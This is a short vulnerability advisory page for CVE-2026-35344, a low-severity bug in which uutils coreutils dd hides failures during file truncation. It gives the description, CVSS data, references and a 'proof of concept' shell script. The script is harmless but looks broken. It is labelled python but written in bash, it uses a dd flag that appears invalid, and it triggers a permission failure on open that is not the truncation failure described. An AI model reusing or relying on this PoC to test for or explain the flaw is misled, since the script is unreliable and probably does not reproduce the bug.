CVE-2026-35344

Description

The dd utility in uutils coreutils suppresses errors during file truncation operations by unconditionally calling Result::ok() on truncation attempts. While intended to mimic GNU behavior for special files like /dev/null, the uutils implementation also hides failures on regular files and directories caused by full disks or read-only file systems. This can lead to silent data corruption in backup or migration scripts, as the utility may report a successful operation even when the destination file contains old or garbage data.

CVSS Details

CVSS Score

3.3

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:* - VULNERABLE

uutils coreutils (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-35344: Silent data corruption in uutils coreutils dd
# This script demonstrates that dd might report success even when truncation fails.

echo "Creating a dummy file..."
touch /tmp/target_file

echo "Setting file to read-only to trigger truncation failure..."
chmod 000 /tmp/target_file

echo "Attempting to truncate/write using uutils dd..."
# Assuming 'dd' refers to the uutils version. If installed as 'uu-dd', change accordingly.
dd if=/dev/zero of=/tmp/target_file bs=1M count=1 oflag=truncate 2>/dev/null

if [ $? -eq 0 ]; then
    echo "POC Result: dd returned Success (0), but write likely failed."
    echo "The file size is: $(stat -c%s /tmp/target_file)"
    echo "This indicates the vulnerability is present (silent failure)."
else
    echo "POC Result: dd returned Error."
fi

# Cleanup
rm /tmp/target_file

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35344
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35344
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35344/
[4] VulDB https://vuldb.com/cve/CVE-2026-35344
[5] https://github.com/uutils/coreutils/issues/9745

Raw JSON Data

JSON

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